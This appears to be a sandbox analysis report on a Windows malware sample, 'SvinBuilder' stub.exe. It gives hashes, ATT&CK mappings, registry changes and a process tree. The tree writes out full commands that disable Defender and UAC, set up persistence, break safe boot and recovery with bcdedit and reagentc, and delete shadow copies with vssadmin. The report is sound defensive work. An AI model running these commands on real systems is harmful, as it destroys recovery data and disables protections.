0831f3d90eefd65a02ead758f1713d2ce2bc51a55e8111bc87a12b924c6ef099

Analysis

max time kernel
149s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20260513-uk
resource tags

arch:x64arch:x86image:win10v2004-20260513-uklocale:uk-uaos:windows10-2004-x64systemwindows
submitted
18/08/2026, 21:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
SvinBuilder/Stub/stub.exe
Size 5.7MB
Sample260818-1fs8fsbf39
SHA256 0831f3d90eefd65a02ead758f1713d2ce2bc51a55e8111bc87a12b924c6ef099
MD5 c6325c7e5b3d3fa58e7006dce6d73e2a
SHA1 69ebe5ce495a0a2a279a88093819b1e7c0ffcf13
SHA512 7bf370d2a088fd07e5171dec65f44095574d9baba338ac4b46a5efedad80afb987df28c4fdfd8e204f822287c4e247f84066e6fc871ab7271c84eccc7118b8fa
SSDEEP 98304:9vqmGvGWyDQJ563ouCv25J0UHKacMSLLeay6bjjqy6bjjyy6bjj:QBnPJ564zaJ0UhvGia5O525
TLSH
T16C563308828A4959F07DB1B628955490CBF77E58D3628BCF28CA5BF33A07364FD257B1
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery evasion execution persistence trojan

Malware Config

Signatures

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	stub.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	WindowsDefenderUpdate.exe

UAC bypass 3 TTPs 4 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	stub.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	stub.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	WindowsDefenderUpdate.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	WindowsDefenderUpdate.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Control Panel\International\Geo\Nation	stub.exe
Key value queried	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Control Panel\International\Geo\Nation	WindowsDefenderUpdate.exe

Executes dropped EXE 1 IoCs

pid	Process
4688	WindowsDefenderUpdate.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsDefenderUpdate.exe = "C:\\ProgramData\\Microsoft\\Windows\\Caches\\WindowsDefenderUpdate.exe"	stub.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsDefenderUpdate.exe = "C:\\ProgramData\\Microsoft\\Windows\\Caches\\WindowsDefenderUpdate.exe"	WindowsDefenderUpdate.exe

Checks whether UAC is enabled 1 TTPs 4 IoCs

defense_evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	WindowsDefenderUpdate.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	WindowsDefenderUpdate.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	stub.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	stub.exe

Indicator Removal: Clear Persistence 1 TTPs 2 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
800	cmd.exe
1140	cmd.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Recovery	ReAgentc.exe
File opened for modification	C:\Windows\SysWOW64\Recovery\ReAgent.xml	ReAgentc.exe
File opened for modification	C:\Windows\SysWOW64\Recovery\winre.wim	stub.exe

Drops file in Windows directory 8 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 32 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
764	cmd.exe
4300	cmd.exe
5112	cmd.exe
3804	cmd.exe
3144	cmd.exe
2636	cmd.exe
2900	cmd.exe
3712	cmd.exe
4744	cmd.exe
540	cmd.exe
3872	cmd.exe
3036	cmd.exe
3040	cmd.exe
772	cmd.exe
420	cmd.exe
4372	cmd.exe
4488	cmd.exe
2464	cmd.exe
5020	cmd.exe
4184	cmd.exe
4832	cmd.exe
4380	cmd.exe
1984	cmd.exe
516	cmd.exe
4176	cmd.exe
2400	cmd.exe
3668	cmd.exe
5084	cmd.exe
2644	cmd.exe
4880	cmd.exe
1372	cmd.exe
2044	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 38 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ReAgentc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WindowsDefenderUpdate.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	stub.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ReAgentc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Suspicious behavior: EnumeratesProcesses 48 IoCs

pid	Process
4828	stub.exe
4828	stub.exe
4828	stub.exe
4828	stub.exe
4828	stub.exe
4828	stub.exe
4828	stub.exe
4828	stub.exe
4828	stub.exe
4828	stub.exe
4828	stub.exe
4828	stub.exe
4828	stub.exe
4828	stub.exe
4828	stub.exe
4828	stub.exe
4828	stub.exe
4828	stub.exe
4828	stub.exe
4828	stub.exe
4828	stub.exe
4828	stub.exe
4828	stub.exe
4828	stub.exe
4688	WindowsDefenderUpdate.exe
4688	WindowsDefenderUpdate.exe
4688	WindowsDefenderUpdate.exe
4688	WindowsDefenderUpdate.exe
4688	WindowsDefenderUpdate.exe
4688	WindowsDefenderUpdate.exe
4688	WindowsDefenderUpdate.exe
4688	WindowsDefenderUpdate.exe
4688	WindowsDefenderUpdate.exe
4688	WindowsDefenderUpdate.exe
4688	WindowsDefenderUpdate.exe
4688	WindowsDefenderUpdate.exe
4688	WindowsDefenderUpdate.exe
4688	WindowsDefenderUpdate.exe
4688	WindowsDefenderUpdate.exe
4688	WindowsDefenderUpdate.exe
4688	WindowsDefenderUpdate.exe
4688	WindowsDefenderUpdate.exe
4688	WindowsDefenderUpdate.exe
4688	WindowsDefenderUpdate.exe
4688	WindowsDefenderUpdate.exe
4688	WindowsDefenderUpdate.exe
4688	WindowsDefenderUpdate.exe
4688	WindowsDefenderUpdate.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4828	stub.exe
Token: SeDebugPrivilege	4688	WindowsDefenderUpdate.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
4828	stub.exe
4688	WindowsDefenderUpdate.exe

Suspicious use of WriteProcessMemory 36 IoCs

description	pid	Process	procid_target
PID 4828 wrote to memory of 2636	4828	stub.exe	85
PID 4828 wrote to memory of 4380	4828	stub.exe	87
PID 4828 wrote to memory of 4372	4828	stub.exe	89
PID 4828 wrote to memory of 1984	4828	stub.exe	91
PID 4828 wrote to memory of 2900	4828	stub.exe	95
PID 4828 wrote to memory of 3712	4828	stub.exe	97
PID 4828 wrote to memory of 4744	4828	stub.exe	99
PID 4744 wrote to memory of 2780	4744	cmd.exe	101
PID 4828 wrote to memory of 3036	4828	stub.exe	104
PID 4828 wrote to memory of 540	4828	stub.exe	106
PID 4828 wrote to memory of 4184	4828	stub.exe	108
PID 4828 wrote to memory of 516	4828	stub.exe	110
PID 4828 wrote to memory of 3040	4828	stub.exe	112
PID 4828 wrote to memory of 4880	4828	stub.exe	114
PID 4828 wrote to memory of 3144	4828	stub.exe	116
PID 4828 wrote to memory of 764	4828	stub.exe	118
PID 4828 wrote to memory of 4176	4828	stub.exe	121
PID 4828 wrote to memory of 800	4828	stub.exe	124
PID 4688 wrote to memory of 2400	4688	WindowsDefenderUpdate.exe	130
PID 4688 wrote to memory of 4832	4688	WindowsDefenderUpdate.exe	132
PID 4688 wrote to memory of 772	4688	WindowsDefenderUpdate.exe	134
PID 4688 wrote to memory of 4488	4688	WindowsDefenderUpdate.exe	136
PID 4688 wrote to memory of 1372	4688	WindowsDefenderUpdate.exe	138
PID 4688 wrote to memory of 3872	4688	WindowsDefenderUpdate.exe	140
PID 4688 wrote to memory of 3668	4688	WindowsDefenderUpdate.exe	142
PID 3668 wrote to memory of 2544	3668	cmd.exe	144
PID 4688 wrote to memory of 5084	4688	WindowsDefenderUpdate.exe	145
PID 4688 wrote to memory of 2464	4688	WindowsDefenderUpdate.exe	147
PID 4688 wrote to memory of 5020	4688	WindowsDefenderUpdate.exe	149
PID 4688 wrote to memory of 3804	4688	WindowsDefenderUpdate.exe	151
PID 4688 wrote to memory of 4300	4688	WindowsDefenderUpdate.exe	153
PID 4688 wrote to memory of 5112	4688	WindowsDefenderUpdate.exe	155
PID 4688 wrote to memory of 420	4688	WindowsDefenderUpdate.exe	157
PID 4688 wrote to memory of 2644	4688	WindowsDefenderUpdate.exe	159
PID 4688 wrote to memory of 2044	4688	WindowsDefenderUpdate.exe	161
PID 4688 wrote to memory of 1140	4688	WindowsDefenderUpdate.exe	163

System policy modification 1 TTPs 8 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRecovery = "1"	WindowsDefenderUpdate.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	WindowsDefenderUpdate.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	WindowsDefenderUpdate.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose = "1"	WindowsDefenderUpdate.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRecovery = "1"	stub.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	stub.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	stub.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose = "1"	stub.exe

C:\Users\Admin\AppData\Local\Temp\SvinBuilder\Stub\stub.exe
"C:\Users\Admin\AppData\Local\Temp\SvinBuilder\Stub\stub.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- UAC bypass
- Checks computer location settings
- Adds Run key to start application
- Checks whether UAC is enabled
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4828
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} safeboot minimal
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:2636
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} safeboot disabled
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:4380
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} safeboot disabled
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:4372
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootmenupolicy legacy
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:1984
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} advancedoptions false
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:2900
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} optionsedit false
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:3712
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reagentc /disable
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4744
- - C:\Windows\SysWOW64\ReAgentc.exe
    reagentc /disable
    3⤵
    - Drops file in System32 directory
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:2780
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /deletevalue {default} recoverysequence
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:3036
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /deletevalue {default} recoveryenabled
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:540
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /deletevalue {current} recoverysequence
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:4184
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /deletevalue {current} recoveryenabled
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:516
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:3040
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:4880
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} recoveryenabled No
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:3144
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} bootstatuspolicy ignoreallfailures
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:764
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:4176
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" schtasks /delete /tn "MicrosoftUpdateTask_WindowsDefenderUpdate" /f
  2⤵
  - Indicator Removal: Clear Persistence
  - System Location Discovery: System Language Discovery
  PID:800

C:\ProgramData\Microsoft\Windows\Caches\WindowsDefenderUpdate.exe
C:\ProgramData\Microsoft\Windows\Caches\WindowsDefenderUpdate.exe
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- UAC bypass
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- Checks whether UAC is enabled
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4688
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} safeboot minimal
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:2400
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} safeboot disabled
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:4832
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} safeboot disabled
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:772
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootmenupolicy legacy
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:4488
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} advancedoptions false
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:1372
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} optionsedit false
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:3872
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reagentc /disable
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3668
- - C:\Windows\SysWOW64\ReAgentc.exe
    reagentc /disable
    3⤵
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:2544
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /deletevalue {default} recoverysequence
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:5084
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /deletevalue {default} recoveryenabled
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:2464
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /deletevalue {current} recoverysequence
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:5020
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /deletevalue {current} recoveryenabled
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:3804
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:4300
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:5112
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} recoveryenabled No
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:420
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} bootstatuspolicy ignoreallfailures
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:2644
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:2044
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" schtasks /delete /tn "MicrosoftUpdateTask_WindowsDefenderUpdate" /f
  2⤵
  - Indicator Removal: Clear Persistence
  - System Location Discovery: System Language Discovery
  PID:1140

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

WindowsDefenderUpdate.exe

Path C:\ProgramData\Microsoft\Windows\Caches\WindowsDefenderUpdate.exe
Size 5.7MB
SHA256 0831f3d90eefd65a02ead758f1713d2ce2bc51a55e8111bc87a12b924c6ef099
MD5 c6325c7e5b3d3fa58e7006dce6d73e2a
SHA1 69ebe5ce495a0a2a279a88093819b1e7c0ffcf13
SHA512 7bf370d2a088fd07e5171dec65f44095574d9baba338ac4b46a5efedad80afb987df28c4fdfd8e204f822287c4e247f84066e6fc871ab7271c84eccc7118b8fa
SSDEEP 98304:9vqmGvGWyDQJ563ouCv25J0UHKacMSLLeay6bjjqy6bjjyy6bjj:QBnPJ564zaJ0UhvGia5O525
TLSH
T16C563308828A4959F07DB1B628955490CBF77E58D3628BCF28CA5BF33A07364FD257B1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ReAgent.log

Path C:\Windows\Logs\ReAgent\ReAgent.log
Size 4KB
SHA256 0428251904b4b23bcfadcd2f11016b519401fb41fc22e889f25dd3b36695a9cc
MD5 f19be523f952ebed9556925634d99204
SHA1 3ae4f243e6ce83c7c330de528d43d86f9281a084
SHA512 6f44477f5a967525b29335d81b635bde8662f9f656e52613975c78fc0641ec742351952789113d782377a5c66a6e3377a7ac5d6aa7e8368d817ba5997ee8bd4f
SSDEEP 96:qBgB3BgBlBHBEBHBkBHBRBHBPBHB9BHBkBHBcBHBqiByBbBiSByKB5BqBKRBRBtC:qBgB3BgBlBHBEBHBkBHBRBHBPBHB9BHZ
TLSH
T17F91C4222E92423D6D47DC86E5748A58F92331B6170EB4357A3F5086FF4A32A65FEC4C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

diagerr.xml

Path C:\Windows\Panther\UnattendGC\diagerr.xml
Size 11KB
SHA256 f9320f4eae872eb0038f7e1c311873f0dafa7f38384aa58da645d2a396f2c37d
MD5 b2d286731f0a3639e28856b2361619ed
SHA1 716c26d3691ecf64e89ceb485f325fd22ef0d0a2
SHA512 cc91d05a99fb82fdca2add79bab8ab7112ebe678fe114f2b9f29a4575e85b6082e0f7801db9bd31cf914778f5dc4f726a7dfcfab0a86abb890f4a3ecda45fd38
SSDEEP 96:5MwiGdgbneLHMwiGdgbneLHMwiGdgbnYMwiGdgbneLHMwiGdgbneLHMwiGdgbnHk:53gbq3gbq3gbY3gbq3gbq3gbHk
TLSH
T11B328229B1992EBB5C9446F9DFD038C26F8097794106A03795C4FDAFB239082F5B17CA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

diagwrn.xml

Path C:\Windows\Panther\UnattendGC\diagwrn.xml
Size 15KB
SHA256 3477739ad3644b0e57743a7fd662996bba950021747bb379c74734d65e84d2d9
MD5 92bc664c6247ff7a89a9bb65086c64ad
SHA1 789dc0a2701498f517e65379be32955ffd18ad58
SHA512 03ee537dbd25f2c641db4e51a75803946d637664c2238c35f4b2004784b1f1bb78988fc6c0899bed7ec1fc8d08a023d0bad39de7798cc6671be80c31660dd134
SSDEEP 192:53gbq3gbE7cP5od3gbY3gbq3gbEooooooo23gbEEA:53Iq3IScs3IY3Iq3Ii3Iq
TLSH
T16C622B3D71942E775C5046E8DFE038C26B809B7A4116A037A5C5FDABB279042E9B17CE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ReAgent.xml

Path C:\Windows\SysWOW64\Recovery\ReAgent.xml
Size 1KB
SHA256 0f7d35d68a237b9c7d6d24c736e9a758761bb0840c113686b81e2ce33928ef65
MD5 7ba1a1ae453e18669377cbd6eb101109
SHA1 e57bd758fffefce630ab1399876f5c50e67c7804
SHA512 7060bf7aeeaeaf1fb85f427307463ca00f3050318f8630e08a92d7be9f0a4870d8c44c3323c9b81df6f1651ad8171009c0abde3b11f766da238c785f72ba05ff
TLSH
T11311AB4681B858A6C7B1D266F1F8BD60463FF1DD02E18A5CE029F7D39447452C75F970
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4828-9-0x0000000006910000-0x0000000006976000-memory.dmp

Download

